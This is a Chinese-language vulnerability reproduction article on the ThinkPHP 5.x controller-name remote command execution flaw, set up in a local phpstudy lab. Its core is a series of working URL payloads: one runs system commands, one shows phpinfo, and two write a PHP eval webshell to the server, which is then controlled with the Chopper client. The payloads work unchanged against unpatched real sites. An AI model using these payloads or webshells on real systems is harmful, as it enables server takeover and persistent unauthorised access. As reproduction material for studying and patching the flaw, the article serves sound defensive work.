ThinkPHP 5.x遠(yuǎn)程命令執(zhí)行漏洞復(fù)現(xiàn)
一、漏洞描述
2018年12月10日,ThinkPHP官方發(fā)布了安全更新,其中修復(fù)了ThinkPHP5框架的一個(gè)高危漏洞:
https://blog.thinkphp.cn/869075
漏洞的原因是由于框架對(duì)控制器名沒(méi)有進(jìn)行足夠的檢測(cè),導(dǎo)致在沒(méi)有開(kāi)啟強(qiáng)制路由(默認(rèn)未開(kāi)啟)的情況下可能導(dǎo)致遠(yuǎn)程代碼執(zhí)行,受影響的版本包括5.0和5.1。
二、漏洞影響版本
Thinkphp 5.x-Thinkphp 5.1.31
Thinkphp 5.0.x<=5.0.23
三、漏洞復(fù)現(xiàn)
1、官網(wǎng)下載Thinkphp 5.0.22,下載地址: http://www.thinkphp.cn/donate/download/id/1260.html
2、使用phpstudy搭建環(huán)境,解壓下載的Thinkphp5.0.22到網(wǎng)站目錄下,瀏覽器訪問(wèn)http://192.168.10.171/thinkphp5.0.22/public
3、利用system函數(shù)遠(yuǎn)程命令執(zhí)行
Payload如下:
?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami

4、通過(guò)phpinfo函數(shù)查看phpinfo()的信息
Payload如下:
?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1

5、寫入shell
Payload如下:
?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo ^<?php @eval($_POST[cmd]);?^> >shell.php
注意:需要對(duì)特殊字符使用^轉(zhuǎn)義(cmd環(huán)境下轉(zhuǎn)義方式),windows環(huán)境的echo命令輸出字符串到文檔不用引號(hào)(單引號(hào)、雙引號(hào)),部分字符url編碼不編碼都行。

6、查看是否成功寫入shell

7、菜刀連接

8、第二種的寫入shell的方法
Payload如下:
?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=../test.php&vars[1][]=<?php @eval($_POST[test]);?>

9、查看是否成功寫入文件

10、菜刀連接

總結(jié)
以上所述是小編給大家介紹的ThinkPHP 5.x遠(yuǎn)程命令執(zhí)行漏洞復(fù)現(xiàn),希望對(duì)大家有所幫助,如果大家有任何疑問(wèn)請(qǐng)給我留言,小編會(huì)及時(shí)回復(fù)大家的。在此也非常感謝大家對(duì)腳本之家網(wǎng)站的支持!
如果你覺(jué)得本文對(duì)你有幫助,歡迎轉(zhuǎn)載,煩請(qǐng)注明出處,謝謝!
相關(guān)文章
淺談laravel orm 中的一對(duì)多關(guān)系 hasMany
今天小編就為大家分享一篇淺談laravel orm 中的一對(duì)多關(guān)系 hasMany,具有很好的參考價(jià)值,希望對(duì)大家有所幫助。一起跟隨小編過(guò)來(lái)看看吧2019-10-10
laravel學(xué)習(xí)筆記之模型事件的幾種用法示例
這篇文章主要給大家介紹了關(guān)于laravel學(xué)習(xí)筆記之模型事件用法的相關(guān)資料,文中通過(guò)示例代碼介紹的非常詳細(xì),對(duì)大家學(xué)習(xí)或者使用laravel具有一定的參考學(xué)習(xí)價(jià)值,需要的朋友可以參考借鑒,下面來(lái)跟著小編一起學(xué)習(xí)學(xué)習(xí)吧。2017-08-08
詳細(xì)解讀PHP的Yii框架中登陸功能的實(shí)現(xiàn)
這篇文章主要介紹了詳細(xì)解讀PHP的Yii框架中登陸功能的實(shí)現(xiàn),包括通過(guò)cookie實(shí)現(xiàn)自動(dòng)登錄的功能,需要的朋友可以參考下2015-08-08
Zend Framework自定義Helper類相關(guān)注意事項(xiàng)總結(jié)
這篇文章主要介紹了Zend Framework自定義Helper類相關(guān)注意事項(xiàng),總結(jié)分析了編寫自定義Helper類的相關(guān)原則與實(shí)現(xiàn)技巧,需要的朋友可以參考下2016-03-03
Laravel框架實(shí)現(xiàn)超簡(jiǎn)單的分頁(yè)效果示例
這篇文章主要介紹了Laravel框架實(shí)現(xiàn)超簡(jiǎn)單的分頁(yè)效果,結(jié)合實(shí)例形式分析了Laravel框架實(shí)現(xiàn)分頁(yè)功能的相關(guān)控制器、視圖、模板調(diào)用等相關(guān)操作技巧,需要的朋友可以參考下2019-02-02
PHP基于SMTP協(xié)議實(shí)現(xiàn)郵件發(fā)送實(shí)例代碼
本篇文章主要介紹了PHP基于SMTP協(xié)議實(shí)現(xiàn)郵件發(fā)送實(shí)例代碼,具有一定的參考價(jià)值,感興趣的小伙伴們可以參考一下2017-04-04
php與java通過(guò)socket通信的實(shí)現(xiàn)代碼
PHP通過(guò)socket與java進(jìn)行通信與基本的sockent編程沒(méi)什么區(qū)別,一個(gè)讀,一個(gè)寫,只是方便起見(jiàn),用java寫,PHP讀2013-10-10
TP5框架使用QueryList采集框架爬小說(shuō)操作示例
這篇文章主要介紹了TP5框架使用QueryList采集框架爬小說(shuō)操作,結(jié)合實(shí)例形式分析了TP5結(jié)合QueryList采集框架爬17k小說(shuō)的相關(guān)原理、步驟與實(shí)現(xiàn)技巧,需要的朋友可以參考下2020-03-03

